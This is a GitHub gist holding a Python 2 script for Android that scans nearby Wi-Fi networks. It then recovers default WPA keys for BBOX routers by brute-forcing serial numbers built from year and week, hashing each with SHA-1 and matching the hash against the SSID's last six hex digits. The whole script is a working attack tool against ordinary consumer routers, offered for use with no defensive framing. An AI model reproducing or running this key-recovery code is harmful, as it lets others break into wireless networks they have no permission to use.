Skip to content

Instantly share code, notes, and snippets.

@balthazar
Created December 29, 2023 11:38
Show Gist options
  • Save balthazar/0d1aa9cad48147be41f1c0702ce5a8c0 to your computer and use it in GitHub Desktop.
Save balthazar/0d1aa9cad48147be41f1c0702ce5a8c0 to your computer and use it in GitHub Desktop.
bbox
#!/usr/bin/python
# -*- coding: mac_roman -*-
import android
import sha
from datetime import date
from optparse import OptionParser
droid = android.Android()
#ssid = droid.dialogGetInput('BBOX id', 'Entrer la BBOX id').result
parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid",
help="SSID of the box", default='')
#(options, args) = parser.parse_args()
#ssid = options.ssid
scanSSID = droid.wifiGetScanResults()
ssidList = []
ssidList.append("Enter a manual value")
for s in scanSSID.result:
ssidList.append(s["ssid"])
droid.dialogCreateAlert('Liste des ssid')
droid.dialogSetItems(ssidList)
droid.dialogShow()
res = droid.dialogGetResponse().result
ssid = ssidList[res["item"]]
if ssid == "Enter a manual value":
ssid = droid.dialogGetInput('BBOX id', 'Enter the BBOX id').result
if ssid == '':
print "No key provided. Launch with -h for help."
else:
print "Searching keys for SSID %s" % ssid
hexaend = ssid[-6:].lower()
hexvalues = []
for i in xrange(ord('A'), ord('Z')+1):
hexvalues.append(hex(i)[-2:].upper())
for i in xrange(ord('0'), ord('9')+1):
hexvalues.append(hex(i)[-2:].upper())
candidates = []
for y in xrange(2008, date.today().year+1):
print "Year %d..." % y
for w in xrange(101, 152):
snb = 'CP'+str(y)[-2:]+str(w)[-2:]
for X in hexvalues:
snb2 = snb+X
for Y in hexvalues:
snb3 = snb2+Y
for Z in hexvalues:
sn_sha = sha.sha(snb3+Z).hexdigest()
if sn_sha[-6:] == hexaend:
candidates.append(sn_sha[:10].upper())
if len(candidates) == 0:
print "No keys found."
else:
keyResult = ''
print "Candidates:"
for key in candidates:
print ' '+key
keyResult = keyResult + ' ' + key
droid.dialogGetInput('Candidate', 'Here is the possible keys', keyResult)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment